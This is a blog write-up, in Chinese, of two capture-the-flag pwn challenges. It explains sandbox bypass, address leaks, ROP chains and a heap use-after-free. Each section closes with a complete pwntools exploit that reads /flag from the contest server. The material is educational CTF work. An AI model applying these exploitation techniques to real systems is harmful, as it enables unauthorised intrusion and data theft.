--> --> --> 2025羊城杯-stack & malloc

2025羊城杯-stack & malloc

沙箱检测绕过,泄漏PIE进行ogw & openat read sendifles;构建双向链表,利用魔改的malloc和delete打出malloc_hook后orw

stack

保护和沙箱

image

保护,程序运行在2.35-0ubuntu3.11

image

沙箱

禁用了execve execveat open close等

解题

剥去了符号

main函数中有两个函数

image

第一部分设置了沙箱。这个前置函数设置了随机数,3或者4,然后计算magic_number的地址并根据得到的possible_main来取出对应main

和设置好真正的buf到分配的堆空间区域

image

发现禁用了open execve和execveat,read规则检测只能从stdin(0)获取,检查一个参数的高32位和低32位都是0否则就会直接kill,因此要注意控制

以及一个读入的函数

image

image

0x55...8028置了0,后面我们再去调read看看

image

通过实际缓冲区找到rbp,进行覆盖

image

先用这个函数去拿到地址来获取elf基地址

image

我们想要通过调用puts函数来拿到一个libc中的地址用于泄漏,随后尝试打openat read write或者openat read sendfile

但是程序提供的函数不支持我们正常完成libc相关函数的地址泄漏,而在调试的时候可以发现在第一个函数中可以通过rand函数去设置参数,我们便可以用puts来泄漏了

image

而一开始由于远程无法打通,所以尝试ogw,结果发现远程还是不能通,后来想到patchelf可能会影响程序的加载空间(拉高地址)所以改小了写入/flag的地址才通过

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import argparse
from operator import pos
import sys
from elftools.construct import lib
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "23356"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *read
    c 
    c
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recv(0x6).ljust(0x8, b"\x00"))


# pause()
# ru(b"Good luck!\n")
sa(b"Good luck!\n", b'\x01'*0x108+p8(0x5f))  # magic


magic_line = ru(b":",)
magic_number = int(rl(keepends=False), 10)
log.info(VIO_TEXT(f"magic_number is {hex(magic_number)}"))

possible_main1 = magic_number // 3
possible_main2 = magic_number // 4

if possible_main1 < 0x600000000000 and possible_main1 > 0x500000000000:
    main = possible_main1
else:
    main = possible_main2

log.info(VIO_TEXT(f"possible main:{hex(possible_main1)}"))
log.info(VIO_TEXT(f"possible main:{hex(possible_main2)}"))

cover_main = main & 0xffff

elf_base = int(main)-0x16b0
log.info(VIO_TEXT(f"two bytes of main:{hex(cover_main)}"))

ret_stdout = elf_base+0x12c9
syscall = elf_base+0x134f
read_addr = elf_base+0x161f
rand_addr = elf_base+elf.sym['rand']
puts_addr = elf_base+elf.sym['puts']

log.info(VIO_TEXT(f"elf_base:{hex(elf_base)}"))
log.info(VIO_TEXT(f"syscall:{hex(syscall)}"))

sa(b"Good luck!\n", b'\x01'*0x108 + p64(rand_addr) + p64(puts_addr) + p64(read_addr))


libc_addr = (get_64()-0x21a200) & ~ 0xff
print(hex(libc_addr))

real_syscall = libc_addr+0x91316
rax = libc_addr+libc.search(asm("pop rax;ret")).__next__()
rdi = libc_addr+libc.search(asm("pop rdi;ret")).__next__()
rsi = libc_addr+libc.search(asm("pop rsi;ret")).__next__()
rcx = libc_addr+libc.search(asm("pop rcx;ret")).__next__()
rdx_rbx = libc_addr+0x904a9
readable_addr = elf_base+0x4800
log.info(VIO_TEXT(f"syscall:{hex(real_syscall)}"))
log.info(VIO_TEXT(f"readable_addr:{hex(readable_addr)}"))

payload = flat(
    b'a'*0x110,
    rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x8, 0, syscall, 0,  # read
    rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,  # openat
    rax, 0x28, rdi, 1, rsi, 3, rdx_rbx, 0, 0, rcx, 0x100, libc_addr +  # sendfile
    libc.sym['sendfile'],
)

# ogw 尝试读取目录
# payload = flat(
#     b'a'*0x110,
#     rax, 0, rdi, 0, rsi, readable_addr, rdx_rbx, 0x30, 0, syscall, 0,
#     rax, 0x101, rdi, 0xffffff9c, rsi, readable_addr, rdx_rbx, 0, 0, rcx, 0, syscall, 0,
#     rax, 217, rdi, 0x3, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0, # getdents64
#     rax, 1, rdi, 1, rsi, readable_addr, rdx_rbx, 0x100, 0, syscall, 0
# )

sa(b"Good luck!\n", payload)


sleep(1)
se(b"/flag")

ia()

image

malloc

沙箱保护

image

沙箱禁的execve execveat

解题

增删改查,glibc2.35与上题环境一致

image

freelist的检查,会读取chunk size,更新freelist,并检测是否double free

但是只检查了前14个节点,可能可以对后面的double free?

image

image

有一个修改的malloc

会从Free list和top chunk分配,当然我们不想要用top chunk,所以看到free list的

1
2
3
4
5
6
if ( qword_4040[v2 / 16] ) {      // 对应size的freelist不为空
    v5 = qword_4040[v4];          // 获取freelist第一个chunk
    qword_4040[v4] = *(_QWORD *)(v5 + 16);  // 更新freelist
    *(_BYTE *)v5 = 1;             // 标记chunk为已使用
    return v5 + 16;               // 返回用户数据区地址
}

我们构造合适的chunk可以触发到uaf

uaf hook泄漏libc后打出environ来泄漏栈地址,在合适的地方写入flag后orw即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import argparse
from inspect import ClassFoundException
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "45.40.247.139"
remote_port = "27416"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex  # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def create(idx, size):
    sla(b"5:exit\n", b"1")
    sla(b"Index", str(idx).encode())
    sla(b"size", str(size).encode())


def free(idx):
    sla(b"5:exit\n", b"2")
    sla(b"Index", str(idx).encode())


def edit(idx, size, content):
    sla(b"5:exit\n", b"3")
    sla(b"Index", str(idx).encode())
    sla(b"size", str(size).encode())
    se(content)


def show(idx):
    sla(b"5:exit\n", b"4")
    sla(b"Index", str(idx).encode())


# 准备堆块UAF
create(0, 0x10)
create(1, 0x70)
create(2, 0x70)
create(0x10, 0x10)  # 隔top chunk

# 双向链表UAF
free(2)
free(1)

# libc leak
show(1)
elf_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
elf.address = u64(elf_leak)-0x52a0
log.success(CLEAR_TEXT(f"elf_address:{hex(elf.address)}"))

payload = p64(0)*3+p64(0x80)+p64(elf.address+0x5200+0x1010)
edit(0, len(payload), payload)

# 重新分配
create(3, 0x70)
create(3, 0x70)

edit(3, 8, p64(elf.got["puts"]))
show(4)
libc_leak = ru(b"\nSuccess\n", drop=True)[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym["puts"]

edit(3, 8, p64(libc.sym["environ"]))  # environ leak stack
show(4)
stack_leak = ru(b"\x7f")[-6:].ljust(8, b"\x00")
edit_stack = u64(stack_leak) - 0x140
log.success(CLEAR_TEXT(f"libc base address: {hex(libc.address)}"))
log.success(CLEAR_TEXT(f"stack edit address: {hex(edit_stack)}"))

# 写入flag路径和ROP链
create(4, 0x70)  # 4号堆块用于存储数据
# 修改目标区域存储flag
edit(3, 8, p64(elf.address + 0x62a0))
edit(4, 0x8, p64(0x100))  # 设置大小
edit(3, 0x10, p64(edit_stack) + b"/flag\x00\x00\x00")

pop_rdi = libc.address + 0x2a3e5
pop_rsi = libc.address + 0x2be51
pop_rdx_rbx = libc.address + 0x904a9
flag_addr = elf.address+0x6228
orw_payload = flat(
    pop_rdi, flag_addr, pop_rsi, 0, libc.sym['open'],
    pop_rdi, 3, pop_rsi, elf.address+0x40c0 +
    0x500, pop_rdx_rbx, 0x50, 0, libc.sym['read'],
    pop_rdi, 1, libc.sym['write']
)

edit(4, len(orw_payload), orw_payload)

ia()

本博客已稳定运行
发表了53篇文章 · 总计20万5千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...